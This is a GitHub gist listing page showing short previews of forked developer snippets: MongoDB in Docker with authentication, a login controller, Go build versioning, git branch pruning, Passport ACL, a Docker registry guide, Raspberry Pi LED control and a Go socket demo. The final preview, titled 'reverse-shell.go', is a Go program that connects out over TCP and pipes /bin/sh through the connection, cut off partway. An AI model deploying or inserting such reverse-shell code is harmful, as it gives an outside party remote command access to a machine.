Skip to content

Instantly share code, notes, and snippets.

@goliatone
goliatone / mongo-docker.bash
Created July 4, 2016 23:57 — forked from davideicardi/mongo-docker.bash
Running mongodb inside a docker container (with mongodb authentication)
# Create a container from the mongo image,
# run is as a daemon (-d), expose the port 27017 (-p),
# set it to auto start (--restart)
# and with mongo authentication (--auth)
# Image used is https://hub.docker.com/_/mongo/
docker pull mongo
docker run --name YOURCONTAINERNAME --restart=always -d -p 27017:27017 mongo mongod --auth
# Using the mongo "localhost exception" (https://docs.mongodb.org/v3.0/core/security-users/#localhost-exception)
# add a root user
// controllers/LoginController.js
module.exports = {
index: function(req, res) {
var email = req.param('email');
var password = req.param('password');
// delay everthing to prevent bruteforce, dos and timing attacks
setTimeout(function() {
@goliatone
goliatone / Golang-binary-versioning.md
Created June 21, 2016 23:05 — forked from rafecolton/Golang-binary-versioning.md
Copypasta for easy versioning for your Go binaries

Golang Binary Versioning Trick

To use, place the code in version_trick.go in your project. Don't forget to change the namespace to match yours to the actual name of your package.

In addition to version_trick.go, there's a makefile-snippet, that includes the secret sauce for making this trick work. Be sure to change the package name there as well.

Enjoy!

P.S. Special thanks to @meatballhat by way of @syscomet for showing me this trick!

@goliatone
goliatone / git_prune_branches
Created June 9, 2016 18:35 — forked from aarti/git_prune_branches
Delete unused git branches
→ git remote prune origin
→ git branch --merged | grep -v "\*" | xargs -n 1 git branch -d
# Remember to do this from the master branch
# If you run it from a feature branch the master branch gets deleted.
→ git branch --merged | grep -v "\*" | xargs -n 1 git branch -d
Deleted branch master (was 644eb76).
You can recheckout master branch
→ git checkout -b master origin/master
@goliatone
goliatone / passport_node_acl_example.js
Created May 24, 2016 16:37 — forked from danwit/passport_node_acl_example.js
Authentication and authorization with passportjs + node_acl + mongo + express
/**
* Simple authentication and authorization example with passport, node_acl,
* MongoDB and expressjs
*
* The example shown here uses local userdata and sessions to remember a
* logged in user. Roles are persistent all the way and applied to user
* after logging in.
*
* Usage:
* 1. Start this as server
@goliatone
goliatone / Docker_Deploy.md
Created May 12, 2016 16:25 — forked from bradbergeron-us/Docker_Deploy.md
Deploying a Docker Registry

Deploying a registry server

This section explains how to deploy a Docker Registry either privately for your own company or publicly for other users. For example, your company may require a private registry to support your continuous integration (CI) system as it builds new releases or test servers. Alternatively, your company may have a large number of products or services with images you wish to serve in a branded manner.

Docker's public registry maintains a default registry image to assist you in the deployment process. This registry image is sufficient for running local tests but is insufficient for production. For production you should configure and build your own custom registry image from the docker/distribution code.

Note: The examples on this page were written and tested using Ubuntu 14.04. If you are running Docker in a different OS, you may need to "translate" the commands to meet the requirements of your own environment.

###Simple example with the official image In this section, you cre

@goliatone
goliatone / rpi-led-notes.md
Created May 7, 2016 20:49 — forked from taktran/rpi-led-notes.md
Controlling Raspberry Pi 2 LEDs

Commands for controlling the Raspberry Pi 2 LEDs.

See rpi-leds for a node module that does this.

Power (PWR) LED

  • OK (ACT) LED = led0
  • Power (PWR) LED = led1

Allow access

@goliatone
goliatone / client.go
Created May 7, 2016 18:41 — forked from kenshinx/client.go
golang socket server & client ping-pong demo
package main
import (
"log"
"net"
"strconv"
"strings"
)
const (
@goliatone
goliatone / app.js
Last active May 6, 2016 03:06
JWT + Socket.io
//NO MODIFICATIONS
var express = require('express');
var path = require('path');
var favicon = require('serve-favicon');
var logger = require('morgan');
var cookieParser = require('cookie-parser');
var bodyParser = require('body-parser');
var routes = require('./routes/index');
@goliatone
goliatone / reverse-shell.go
Created May 2, 2016 00:28 — forked from jasonrdsouza/reverse-shell.go
Golang Reverse Shell
package main
import "os/exec"
import "net"
func main() {
c, _ := net.Dial("tcp", "127.0.0.1:1337")
cmd := exec.Command("/bin/sh")
cmd.Stdin = c
cmd.Stdout = c